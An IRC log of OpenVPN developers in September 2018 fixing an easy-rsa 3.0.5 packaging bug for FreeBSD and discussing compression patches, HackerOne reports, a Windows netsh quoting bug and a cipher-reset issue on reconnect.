Release Process (at www.freebsd.org) 08:40 < tincantech> yep 08:42 < tincantech> ug .. i do not have any fbsd to work with .. i tried to upgrade but the build process is expected to take upto 2 days on my VM . which is why i opted to wait for 12 08:43 < m-a> it appears that GitHub breaks in some places if you have a tag and a branch by the same name 08:43 < m-a> (perhaps it's Git itself, haven't looked too deeply) 08:46 < tincantech> ecrist: it looks like $EASYRSA_SAFE_CONF should *always* go to $EASYRSA_PKI 08:46 <@ecrist> m-a: they actually suggest you tag your releases the same as the branch 08:47 < m-a> interesting. Try clicking the blue "2 commits to v3.0.5 since this release" on https://github.com/OpenVPN/easy-rsa/releases 08:47 <@vpnHelper> Title: Releases · OpenVPN/easy-rsa · GitHub (at github.com) 08:48 <@ecrist> weird 08:48 <@ecrist> tincantech: I can give you non-root on a freebsd box 08:49 <@ecrist> ugh, that one is also 10.3 08:49 <@ecrist> I should upgrade it to 10.4 08:49 <@ecrist> cron2: ping - I want to upgrade phillip, let me known when I can have a window to do that. 08:50 < tincantech> ecrist: that would be cool .. but for now i am working on it in linux and i have a poss solution 08:50 < tincantech> but I seem to have created a chicken/egg problem 08:52 < tincantech> i think i can sort it 08:59 < tincantech> i have a solution but it's not very pretty 09:00 <@cron2> ecrist: go for it, let me know when you're done 09:01 < tincantech> ecrist: https://paste.fedoraproject.org/paste/GJ4~AUJPHIsu03tPFZOemA 09:01 < tincantech> as you can see it will create the PKI dir if it does not exist 09:02 < tincantech> but then running init-pki will always have the pki dir to delete 09:02 < tincantech> even from the very first time .. so bit ugly 09:09 <@ecrist> ok 09:09 <@ecrist> tincantech: I'm working on a bit cleaner version 09:09 <@ecrist> cron2: I'll do the upgrade right now 09:12 < tincantech> ecrist: ok .. i'll wait to see that then 09:19 <@ecrist> now that I look harder at this piece of code, it's a bit of a mess. not the stuff you added, just the configuration file logic. 09:20 < m-a> ecrist: if you need more time, I'll roll back the port to 3.0.4 09:28 <@ecrist> m-a: I can fix this, and will give you a patch in an hour 09:28 < m-a> gorgeous, thanks 09:28 <@ecrist> the mess I speak of is larger, and just some short-sighted coding 09:30 < m-a> the thing is, requirements develop as the code is deployed more widely :-) 09:33 <@ecrist> for sure 09:34 < tincantech> this is a case of "i changed how it works without realising the full impact" 09:35 < tincantech> but then libressl changed how it works and told us to eff off if we didn't like it ;) 09:36 <@ecrist> no, we never supported LibreSSL 09:36 <@ecrist> in easyrsa, openvpn supports it 09:36 < tincantech> well .. technically we always tested for it .. 09:37 < tincantech> in easyrsa 09:49 <@ecrist> m-a: https://pastebin.com/wXhE4cEx 09:50 <@ecrist> Let me know if that solves your dilema. If not, then I'll have to read more into what the port is doing. 09:52 < m-a> uh, the patch doesn't seem to apply. let me wiggle it. 09:52 < m-a> what is the base version you have diffed against? 09:52 <@ecrist> 3.0.5 easyrsa 09:53 <@ecrist> from the package 09:53 < m-a> I am using EasyRSA-nix-3.0.5.tgz as base, so well... 09:53 <@ecrist> let me try to re-generate 09:54 < m-a> no need 09:54 <@ecrist> https://pastebin.com/YnN6Wy2s 09:54 < m-a> patch -l did the trick 09:55 <@ecrist> was it the relative path deal? 09:55 < m-a> no, CRLF line endings 09:56 <@ecrist> al 09:56 <@ecrist> ah 09:58 <@ecrist> tincantech: feel free to comment on the patch 10:00 < m-a> should there be the safessl.cnf or only with LibreSSL? 10:00 < m-a> ah I have it 10:01 < m-a> smoke tests passed 10:02 < tincantech> ecrist: not sure yet .. seems to have a problem 10:02 < tincantech> ./easyrsa init-pki 10:02 < tincantech> cp: cannot create regular file '/home/arby/git/easyrsa/305/easyrsa3/pki/openssl-easyrsa.cnf': No such file or directory 10:02 < tincantech> init-pki succeeds tho 10:04 < m-a> Note: using Easy-RSA configuration from: /usr/local/share/easy-rsa/vars 10:04 < m-a> cp: /tmp/try3/openssl-easyrsa.cnf: No such file or directory 10:04 < m-a> apparently this lacks an mkdir -p 10:05 < m-a> something like test -d "$EASYRSA_PKI" || mkdir -p "$EASYRSA_PKI" 10:06 < tincantech> it's the chick/egg thing with when to create the PKI dir 10:06 < m-a> indeed 10:06 <@ecrist> init-pki does the mkdir 10:06 <@ecrist> let me re-verify that 10:06 <@ecrist> I might have had a pre-created one that snuck through 10:06 < tincantech> exactly 10:07 <@ecrist> nah, it works 10:07 <@ecrist> so, if I have my home (I'm not root), and I untar EasyRSA-nix-3.0.5.tgz there 10:08 <@ecrist> and run EasyRSA-3.0.5/easyrsa init-pki with my patch applied, it works 10:08 < m-a> it does work, but apparently the l.23 in your patch is run before the mkdir has happened. If I add the mkdir, easyrsa asks me if I can nuke my $EASYRSA_PKI directory 10:08 <@ecrist> oh, I see what you mean 10:08 <@ecrist> right, chicken meet egg 10:09 < tincantech> ecrist: line 1184 tries to cp openssl-easyrsa.cnf to a non existant pki dir 10:09 <@ecrist> nah, still 10:10 < tincantech> ? 10:10 <@ecrist> with the patch applied, if you run init-pki then build-ca, everything ends up where it's supposed to 10:10 < m-a> yes, just the cp isn't effective while running "init-pki" 10:10 <@ecrist> correct 10:11 <@ecrist> but it becomes effective the very next time you run it 10:11 <@ecrist> with init-pki, the cp doesn't really need to be effective, but then you don't get your config, either 10:11 <@ecrist> let me adjust with your suggestion. 10:11 < m-a> which causes the confusion that tincantech reported 10:11 <@ecrist> yup 10:12 < m-a> my mkdir alone doesn't cut it because the "can we create the PKI" will complain about the directory 10:12 < m-a> (before the rm -rf) 10:14 <@ecrist> yup 10:14 <@ecrist> working through that one now. 10:23 <@ecrist> m-a: https://pastebin.com/h4ebT6iR 10:27 < m-a> looks reasonable, the other bug that I won't fix now but that you can fix for 3.0.6 is that I have garbage files lying around if build-ca fails: 10:27 < m-a> /tmp/try11/.rnd 10:27 < m-a> /tmp/try11/ca.crt 10:27 < m-a> /tmp/try11/ca.crt.DGyiB22GHp 10:27 < m-a> /tmp/try11/ca.crt.mh9JTkMvGg 10:27 < m-a> ... 10:28 < m-a> /tmp/try11/private/ca.key.vIZfPYDZyT 10:30 < m-a> easy-rsa 3.0.5_1 committed, r479838 10:31 < m-a> thanks 10:32 < m-a> final question, do we need to do anything special if the defaults in the distributed/shipped openssl-easyrsa.cnf change? Or do we assume that the user's configuration should prevail and we'll just drop a line in the release notes if the defaults change? 10:32 < m-a> (that is assuming some EasyRSA v3.1.0 needs one or several more variables in the .cnf file) 10:32 < m-a> because what happens now is that we take a snapshot of v3.0.5's openssl-easyrsa.cnf 10:33 < m-a> and copy that to the PKI directory 10:34 <@ecrist> Right now, we just assume their config will prevail, and mention it in release notes. 10:35 <@ecrist> I think it might be best to find a way to merge the defaults and the user changes, but I don't know a good way to do that right now. 10:36 < m-a> I would like to suggest some inherit vs. extend/overwrite approach where you source the distributed file first and then the user file. 10:36 < m-a> that way missing settings get filled in from the distributed file and the user can override everything 10:37 <@ecrist> yes, the problem with that is everything is currently uncommented in the shipped configuration files, we need to comment everything in the copied config 10:37 <@ecrist> it's a bit of a change, but better in the long run. 10:38 < m-a> several operating systems also grew configuration file merges, such as FreeBSD's mergemaster (and the stuff that freebsd-update uses, not sure if that's using the same); rpmconf, and thereabouts. 10:40 <@ecrist> Something to look forward to. I'm thinking 3.1 could do a merge of some sort, stripping out defaults from user configs to sort of normalize things. 10:41 <@ecrist> I'd also like 3.1 to include an "upgrade" mechanism from 2.x. 10:44 < tincantech> this patch is not working for me 10:44 < m-a> you need to turn CRLF into LF first and terminate the last line. 10:44 < m-a> dos2unix or something 10:44 < tincantech> i applied it ok .. but it fails to build-server-full 10:45 < tincantech> Unknown cert type 'server' 10:45 < m-a> worked for me. 10:46 <@ecrist> works for me as well 10:46 < tincantech> weird 10:46 < m-a> what OpenSSL are you using? 10:46 <@ecrist> I just ran through init-pki, build-ca, build-server-full, build-client-full 10:46 < m-a> or LibreSSL? 10:47 * m-a too 10:47 < tincantech> Using SSL: openssl OpenSSL 1.1.0g 2 Nov 2017 10:48 < m-a> ah 10:48 * m-a was using 1.0.2 10:48 <@ecrist> Using SSL: openssl OpenSSL 1.0.2o-freebsd 27 Mar 2018 10:48 <@ecrist> Using SSL: openssl LibreSSL 2.2.7 10:48 <@ecrist> both of those work 10:49 < m-a> yes, but OpenSSL 1.1 changed API in some places, C and apparently (-> tincantech) also in command line utilities 10:50 <@ecrist> oh goody 10:50 < tincantech> i think it is the EXT_DIR 10:51 < tincantech> what i have done is moved ./easyrsa to /usr/local/sbin and try it that way 10:52 < tincantech> so my command is $ easyrsa blah .. not ./easyrsa blah 10:52 <@ecrist> cron2: phillip is fully updated to FreeBSD 11.2p2 10:52 < m-a> ...p2? 10:52 <@ecrist> sorry, p3 10:52 < m-a> :-) 10:52 <@ecrist> FreeBSD phillip.secure-computing.net 11.2-RELEASE-p3 FreeBSD 11.2-RELEASE-p3 #0: Thu Sep 6 07:14:16 UTC 2018 10:53 <@ecrist> it's so much easier with freebsd-update these days 10:53 <@ecrist> no more build kernel, build world, etc 10:53 < m-a> the source+build+install was never much of a burden either. mergemaster has been around for ages 10:54 <@ecrist> mergemaster and I have never been friends 10:54 < tincantech> ok .. i needed to copy x509-types to the right place aswell ... but i assume you all have that on your OS 10:54 <@ecrist> oh, the $Id$ field changed for everything in /etc, let's waste 2h while I make you confirm every damn file. 10:55 < m-a> ecrist: the configuration file has been allowed to add -I lines (capital EYE) for a long time, to ignore the $FreeBSD$ or $Id$ tags :-) 10:55 < m-a> but never dare answer "does ... look sane" with "no", you'll kill the entire hourlong freebsd-update upgrade :_) 10:55 < m-a> :-) 10:55 <@ecrist> m-a: my FreeBSD days go back to 2.2.5, so... my griping may be old, too 10:55 < tincantech> afk 20min 10:56 < m-a> ecrist: oh, I'm a newcomer and have been around since 4.0 :-) 10:56 <@ecrist> and yes, I've mistakenly answered "no" before 10:56 < m-a> it should re-do the merge 10:56 < m-a> or offer "re-edit, re-merge from scratch, abort" 10:56 <@ecrist> at least you were around for the 4.x->5.x upgrade days 10:57 <@ecrist> that's how you can tell the true zealots. The ones that didn't throw it in the river. 10:57 < m-a> oh and 5.x was painful, 6.x to some extent as well. I've had one of those strange wireless chips that only worked with the Windows NDIS driver, and boy that was a piece of shit 10:57 < m-a> and i've seen many Adaptec and 3Com cards die on me for no apparent reason. 10:58 < m-a> (3Com NICs, and Adaptec SCSI adaptors). I have yet to see a single Tekram DC-390* series card fail. 10:58 <@ecrist> LSI has been pretty solid for me 10:58 <@ecrist> I had a lot of refurb dell gear in those days 10:58 < m-a> but the onboard nic (where c = chip, not card) are good enough for my purposes these days. 10:59 <@ecrist> I don't think I have a single FreeBSD hardware box around right now 10:59 < m-a> Tekram were using LSI chips, formerly known as Symbios Logic and before that NCR 11:00 < m-a> with exception of the DC-390 (T) that used Am53C974 but which were also rock solid. 11:00 <@ecrist> Dell rebranded them as PERC (PowerEdge Raid Controller) 11:00 < m-a> the only thing to watch on the MegaRAID was the battery backup unit 11:00 < m-a> batteries don't like warmth nor time 11:00 <@ecrist> right 11:00 <@ecrist> that's a pretty general rule 11:01 <@ecrist> we had some in old 1850s that would expand and we had a hard time getting the chassis open 11:01 < m-a> I think I killed a "Solar" wristwatch battery in a Finnish Sauna once ;) 11:01 <@ecrist> hah 11:01 < m-a> you'd think you cool that enough with your arm but you don't. 11:03 <@ecrist> well, it's 11am and my motorcycle is calling my name. Thanks for the help and working getting 3.0.5 going, m-a. 11:03 < m-a> ecrist: thanks for the prompt fixing! 11:03 < m-a> and tincantech for the standby. 11:04 <@ecrist> indeed 11:04 < m-a> It's 6pm here (Germany) so time to really think about week-end shopping (shops are closed on Sundays in Germany) and then the night programme 11:04 < m-a> enjoy the ride 11:15 < tincantech> ecrist: m-a: pleased to help :) -- I also learnt how easyrsa is intended to be packaged 11:17 < tincantech> ecrist: what's your hog ? 13:35 <@cron2> so, t_client servers (= philip) should be back up 20:33 < amac> hi, I am wondering if there is some kind of a bug in ios app that always shows protocol set as udpv6 with server address being unknown ipv6 address 20:34 < amac> i set the server to be ipv4 only 22:13 <@ecrist> does it connect with an IPv4 address? 22:13 <@ecrist> and this isn't a support channel --- Day changed Sun Sep 16 2018 03:12 <@syzzer> plaisthos: how does your new patch set relate to https://patchwork.openvpn.net/patch/339/ ? 03:12 <@vpnHelper> Title: [Openvpn-devel,2/3] Reject unadvertised compression algorithms - Patchwork (at patchwork.openvpn.net) 03:13 <@syzzer> does it still make sense to review/apply that, or is it superseded by your patch/ 06:02 <@cron2> I think it's unrelated aspects of compression handling 06:02 <@cron2> well, maybe not "unrelated" but "orthogonal" 10:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:34 <@plaisthos> syzzer: did not have that patch on the radar 11:36 <@plaisthos> syzzer: it duplicates a lot of the stuff you did. 11:36 <@plaisthos> but the logic in my is a bit different 11:36 <@plaisthos> I still allow unadvertised compression algorithms to be pushed unless allow-compression no is specified 11:37 <@plaisthos> But I can also automatically set allow-compression no when the user explicity sets compress stub/stubv2 --- Day changed Mon Sep 17 2018 01:18 <@mattock1> plaisthos: people are now reporting "OpenVPN for Android" issues to OpenVPN's HackerOne 01:21 <@mattock1> hmm 01:21 <@mattock1> there's also an issue about https://openvpn.net there 01:21 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net) 01:26 <@mattock1> the "scope" in HackerOne settings lists the repositories eligible for bounties, so the website issue is definitely out of scope 01:27 <@mattock1> plus the website is _finally_ being overhauled completely, so any problems with old platform are not particularly interesting 01:29 <@mattock1> I sent out some HackerOne invites 01:31 <@cron2> the submissions into HackerOne so far are... weird 01:31 <@mattock1> yeah 01:32 <@mattock1> let's hope the signal-to-noise ratio improves a bit 02:51 <@syzzer> plaisthos: what do you think make sense? Should we just consider my patch superseeded then/ 02:52 <@syzzer> or rebase your patch on mine? 02:53 <@syzzer> at least my warning patch (3/3) should probably be considered superseeded I think 03:08 <@syzzer> mattock1: yeah, weird stuff on hoackerone. How should I deal with stuff that I believe I'm qualified to handle? I do seem to be able to close the report that basically copy-pastes my patch as a feature request as 'bullocks' :p 03:08 <@syzzer> do *not* seem to be able 06:06 <@plaisthos> I can update my patch based on your wording and also disallow any compression after stubv2/stub has been pushed 06:06 <@plaisthos> not entirely sure about the second thing 06:29 <@syzzer> plaisthos: okay, works for me. I will consider both superseeded then (and register them as such in patchwork) 06:41 <@plaisthos> syzzer: I will leave out the nowarn flag. 06:55 <@mattock1> syzzer: we might want to attend the HackerOne demo by Reed, so we don't have to figure out everything ourselves 06:56 <@mattock1> we just need to schedule it 06:56 <@mattock1> everything = things like permissions 07:05 <@syzzer> sure, if I can make it, I'll join 07:10 <@mattock1> ok, I will ask Reed to propose some dates and times 07:14 <@mattock1> done 08:55 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 08:56 -!- mode/#openvpn-devel [+v lev__] by ChanServ 08:57 <+lev__> hey guys, is this a known issue that Windows client do not enclose adapter name into quotes? 08:57 <+lev__> Mon Sep 17 16:48:10 2018 NETSH: C:\WINDOWS\system32\netsh.exe interface ip set address Ethernet 2 dhcp 08:57 <+lev__> Mon Sep 17 16:48:10 2018 ERROR: netsh command failed: returned error code 1 08:57 <+lev__> works with "Ethernet 2" in quotes 09:01 <+lev__> or shouldn't it use adapter index instead? 09:06 <@plaisthos> I vaguely remember some discussion about adapter index on the mailing list 09:06 <+lev__> https://sourceforge.net/p/openvpn/mailman/message/34616805/ 09:06 <@vpnHelper> Title: OpenVPN / [Openvpn-devel] [PATCH applied] Re: Use adapter index instead of name (at sourceforge.net) 09:06 <@plaisthos> mattock1: can you give me some rights on patchworks so I can set my old compress patch as superseeded? 09:07 <+lev__> indeed we have fixed it a while ago 09:08 <@plaisthos> syzzer: are you mbedtls patches against some private branch? They don't apply cleanly on git master 09:10 <@plaisthos> nevermind, used the v1 version 09:15 <@plaisthos> cron2: I thought a bit aobut my tap emulator 09:15 <@plaisthos> cron2: the code will be probably 90% identical to your tun emulator 09:15 <@plaisthos> if not more 09:15 <@plaisthos> both need to the same adding/stripping of ethernet header maintaining a arp<->ip table. 09:16 <@plaisthos> just one does the job on the tun interface and the other does the job on the vpn "interface" 09:27 <@vpnHelper> RSS Update - tickets: #1111: Netsh command fails if adapter name contains whitespace <https://community.openvpn.net/openvpn/ticket/1111> 09:32 <@syzzer> plaisthos: you mean the mgmt-ext-key/pkcs11 patches / 09:32 <@syzzer> those should apply to currect paster 09:33 <@syzzer> current master 09:33 <@syzzer> *-) 09:33 <@plaisthos> syzzer: yeah, I first tried to apply the old versions from 2017 09:33 <@plaisthos> those do not apply ;) 09:38 <@syzzer> hehe, no they definitely don't 09:39 <@syzzer> great that you're taking a look at these! 10:29 < tincantech> plaisthos: reveiwing v2 the text reads better now, there is one missed \- "allow-compression" in openvpn.8 and also still inconsistent with "--option" vs "option" in the warnings .. it is probably more important to get your patch in than worry about them and I can always submit a patch for discussion myself in future ;) I can't review the code but I'll say ACK and ignore the tiny text queries 10:30 <@plaisthos> tincantech: I only added -- in the options.c if it actually the option 10:30 <@plaisthos> and not if it telling about the option being set to soemthing 10:31 <@plaisthos> but it is really inconsistent in the whole fie :/ 10:31 < tincantech> the code is more important .. just letting you know that the text itself is good now 10:31 <@plaisthos> thanks! 10:31 < tincantech> :) 10:32 <@plaisthos> and thanks again for reviewing 10:32 < tincantech> better than sitting here on my elbows ;) 10:33 < tincantech> fyi: I am happy to review text spelling etc because I am quite good at that 10:46 <@syzzer> tincantech: which is very welcome, because few of us are native speakers :) 11:04 <@ecrist> tincantech: did you see my email? 11:04 <@ecrist> I need your SSH public key 11:22 < tincantech> ecrist: i did see it, unexpected praise indeed :) have not done a key as yet because I am still fighting with new OS and not sure if i stick with it or roll back or buy a new system (which is what i really need) 12:31 <@ecrist> tincantech: generating an SSH key doesn't depend on any particular OS 12:31 <@ecrist> no rush, but you have access to phillip as soon as you give me a key 12:31 <@ecrist> it's FreeBSD 11.2p3 now 12:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:58 <@cron2> lev__: argv handling on windows doesn't need quotes (actually, with quotes it breaks) 13:00 <@cron2> plaisthos: indeed, tun/tap emulator is fairly similar, just the opposite direction. Turning it around might need a bit more smarts wrt MAC addresses - right now I do not "learn" but assume there is only one MAC, ever ("the tap interface of the AIX host") 15:21 <@cron2> ordex: block-ipv6 v4, then I can adjust the icmp stuff to my tun emulator and plaisthos can build on that... 17:17 < tincantech> ecrist: can this be closed ? https://github.com/OpenVPN/easy-rsa/pull/215 17:17 <@vpnHelper> Title: Automatically generate a config file compatible with LibreSSL by kerframil · Pull Request #215 · OpenVPN/easy-rsa · GitHub (at github.com) 17:31 <@ecrist> yes 17:33 <@ecrist> tincantech: try to log in to phillip 17:40 < tincantech> ok 17:40 < tincantech> hold on 17:44 <@ecrist> ... 17:46 <@ecrist> ssh -p774 -i /path/to/id_rsa tincantech@phillip.secure-computing.net 17:46 < tincantech> forgot -i .. oop 17:48 < tincantech> Network is unreachable 17:48 < tincantech> firewall shows out abd in 17:49 <@ecrist> ? 17:49 <@ecrist> out abd in? 17:49 <@ecrist> host phillip.secure-computing.net 17:50 <@ecrist> phillip.secure-computing.net has address 199.102.77.82 17:50 <@ecrist> phillip.secure-computing.net has IPv6 address 2607:fc50:1001:5200::4 17:50 < tincantech> i am getting 199.102.77.82 17:50 <@ecrist> yup 17:50 <@ecrist> that's valid 17:50 < tincantech> port 775 17:50 <@ecrist> 774 17:50 < tincantech> da .. 17:50 < tincantech> hold on 17:51 < tincantech> ok 17:51 < tincantech> password tho .. 17:52 <@ecrist> did you try to log in as arby? 17:52 < tincantech> sorry :D 17:52 <@ecrist> see, arby's not here man... 17:53 <@ecrist> and since arby's not here, arby has no authorized_keys file, which necessitates a password prompt. 17:53 < tincantech> LOL 17:53 < tincantech> ok .. i am still getting password promt for -l tincantech 17:53 <@ecrist> oh, your home has too many perms 17:53 <@ecrist> lemme fix 17:54 <@ecrist> ok, try now 17:54 <@ecrist> :D 17:54 < tincantech> :) 17:54 < tincantech> much obliged :) 17:56 < tincantech> sudo promtly warned me ;) 18:17 < tincantech> ecrist: configure: error: lzo enabled but missing 18:18 < tincantech> building openvpn 18:40 < tincantech> ecrist: configure --disable-lzo works great .. soo 18:41 < tincantech> i guess i better checkk bsd lzo stuff ;) 19:21 < tincantech> ordex: was ecrist hoisted by his own petard ? :D 19:53 < tincantech> kitsune1: i ask you too 21:45 < tincantech> ecrist: i am fairly sure we hav another chicken/egg problem with libressl 21:47 < tincantech> do init-pki and then change vars to a different ssl lib .. kapow 21:59 <@ecrist> . 22:36 <@vpnHelper> RSS Update - tickets: #1112: iOS: Possible crash before sleep <https://community.openvpn.net/openvpn/ticket/1112> --- Day changed Tue Sep 18 2018 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 01:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 276 seconds] 02:48 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 252 seconds] 02:53 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:11 <@plaisthos> cron2: yeah. But that can be added changed. 05:12 <@cron2> plaisthos: yep. It would also help the hypothetical case of someone bridging the tap interface onwards (which AIX can't do today, but who knows) 05:12 <@plaisthos> and then we can use that overkill layer for the one mac of the aix host too! 05:12 <@cron2> yep 05:13 <@plaisthos> or people using tap emulator on linux! 05:13 <@plaisthos> :D 05:13 <@plaisthos> or tun-emulator 05:14 <@plaisthos> cron2: maybe you can have multiple ip addresses on a tap interface? 05:14 <@plaisthos> hm that would still be only one mac 05:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:10 <@vpnHelper> RSS Update - tickets: #1113: Remove destructive /sbin/clean script from openvpn AWS image <https://community.openvpn.net/openvpn/ticket/1113> 07:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:02 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:20 <+lev__> cron2: regarding #1111, does "interface is on DHCP" state persists on reboot ? 07:21 <@cron2> yes 07:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:34 <@vpnHelper> RSS Update - tickets: #1111: Use iserv to switch interface to DHCP <https://community.openvpn.net/openvpn/ticket/1111> 08:36 < tincantech> ecrist: cron2 i give up trying to install a local copy of libressl on phillip 08:40 <@ordex> tincantech: ? 08:40 < tincantech> hi there ;) 08:40 <@ordex> hi hi 08:41 < tincantech> they gave me an account on phillip 08:41 < tincantech> so i got stuck in 08:41 < tincantech> but i cannot successfully install a local copy of libressl on freebsd .. out of my depth i think 08:42 < tincantech> i just got a fatal make error 08:43 < tincantech> so i'm rolling back to the closest i managed to get so far and post the last error 08:45 < tincantech> Shared object "libssl.so.46" not found, required by "openssl" 08:45 < tincantech> ordex: any idea ? 08:45 <@syzzer> whee, acks :D 08:45 <@syzzer> thanks for reviewing, plaisthos :) 08:46 <@syzzer> and yes, I ran tests with both management interface and pkcs11 08:46 <@ordex> tincantech: no clue :P 08:46 < tincantech> c'est la vie 08:56 <@ecrist> tincantech: what sort of error are you seeing? 08:57 < tincantech> Shared object "libssl.so.46" not found, required by "openssl" 08:57 < tincantech> actually it changed to 45 so even more confused 08:58 < tincantech> the local install is /home/tincantech/libressl 08:58 < tincantech> this simply worked on linux .. 08:59 <@ecrist> it failed on make, or failed on execution? 08:59 < tincantech> the .so file is in /home/tincantech/libressl/usr/local/lib 08:59 < tincantech> failed on exec of libressl/usr/local/bin/openssl 09:02 < tincantech> i think it is basically this : https://stackoverflow.com/questions/42828083/error-while-loading-shared-libraries-usr-local-lib64-libssl-so-1-1 09:02 <@vpnHelper> Title: compilation - Error while loading shared libraries: /usr/local/lib64/libssl.so.1.1 - Stack Overflow (at stackoverflow.com) 09:02 < tincantech> but customised to my setup 09:08 <@ecrist> tincantech: it sounds like you're having linking issues. You need to make sure your build is fully contained. You don't want to be referencing system libraries that don't exist. 09:15 < tincantech> I have a carefully worded reply but .. ;) 09:23 <@cron2> tincantech: why are you calling "openssl" to run "libressl"? 09:24 <@cron2> or is their frontend now also called "openssl", just to confuse users? 09:24 <@ecrist> the latter 09:24 <@ecrist> I think it's for "ease" 09:42 <@plaisthos> syzzer: yeah, just setting up a pcks11 environment for that patch would probably move review to 2020 09:56 <@syzzer> hehe 11:11 <@dazo> plaisthos: get yourself a yubikey 4 (or neo) or Nitrokey ... they mostly works out-of-the-box ;-) 11:12 <@dazo> (yk4 vs neo => 4096 bit RSA key vs 2048 key ... the most annoying difference) 11:39 <@vpnHelper> RSS Update - tickets: #1114: iOS v3 App TLS Errors on New Installs Only <https://community.openvpn.net/openvpn/ticket/1114> 13:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 17:06 < tincantech> ecrist: ping 17:43 < tincantech> ecrist: un-ping 18:47 <@vpnHelper> RSS Update - tickets: #1115: iOS client log file has error in timestamps <https://community.openvpn.net/openvpn/ticket/1115> 22:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 22:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:15 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Wed Sep 19 2018 00:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:45 <@mattock1> morning 00:48 <@mattock1> added agenda for today: https://community.openvpn.net/openvpn/wiki/Topics-2018-09-19 00:48 <@vpnHelper> Title: Topics-2018-09-19 – OpenVPN Community (at community.openvpn.net) 00:48 <@mattock1> not sure what should be there, so please fill in the blanks 01:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 01:39 <@cron2> did I miss an invitation? :) 01:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 02:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:28 <@mattock1> anybody here 02:28 <@mattock1> ? 02:45 <@cron2> no 02:45 <@cron2> good morning :) 02:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:54 <@mattock1> so, can we cobble together a meeting today? 02:56 <@cron2> yes 03:02 <@mattock1> good 03:02 <@mattock1> who will join besides you and me? 03:02 <@mattock1> :P 03:02 <@mattock1> dazo, syzzer, plaisthos, ordex? 03:31 <@mattock1> all quiet 03:41 <@mattock1> well, I will be here in 50 minutes nevertheless 03:42 <@mattock1> let's see if somebody joins 03:50 <+lev__> hey, isn't it so that commit https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12869.html was supposed to make client send pre-NCP options to server after SIGUSR1 ? 03:50 <@vpnHelper> Title: [Openvpn-devel] [PATCH v3] Restore pre-NCP cipher options on SIGUSR1 (at www.mail-archive.com) 03:52 <+lev__> this is not what happens, after SIGUSR1 client prints: 03:52 <+lev__> Local Options String (VER=V4): 'V4,dev-type tun,link-mtu 1549,tun-mtu 1500,proto UDPv4,cipher AES-256-GCM,auth [null-digest],keysize 256,key-method 2,tls-client' 03:52 <+lev__> and server kicks it because of opt-verify 04:22 <@cron2> has this patch been merged? 04:23 <@cron2> in which version? 04:23 <@cron2> (there is a fairly recent bug open in trac for this as well) 04:24 <+lev__> it was merged, part of master 04:25 <+lev__> I am looking into it, seems that context_1 doesn't persist across SIGUSR1 04:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 04:37 <+lev__> so on SIGUSR1 we de-initialize TLS context by calling tls_ctx_free. Next time inside do_init_crypto_tls_c1 we check if TLS context is initialized and if not (like in this case) then we assign c1->cipher etc from options (which contains NCP-upgraded values) 04:37 <@cron2> lev__: syzzer seems to be here, he knows :) 04:38 <+lev__> ping syzzer 04:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:45 <@syzzer> lev__: pong 04:45 <@syzzer> [ reading backlog... ] 04:48 <@syzzer> this sounds like a bug, yes 04:48 <@syzzer> if we do a new push request/reply, we should revert our pushable options 04:49 <@syzzer> although we might not be able do that genericly, because users have relied on being able to push options 'for the next reconnect' 04:49 <@syzzer> that was e.g. used by people to push compression options in 2.3 and earlier 04:50 <@syzzer> ... which in turn lead to the juggling of variables back and forth during reconnects. 04:51 <+lev__> are we supposed to re-init TLS context on SIGUSR1 ? 04:52 <@syzzer> I'm still not entirely sure what we are supposed to do on 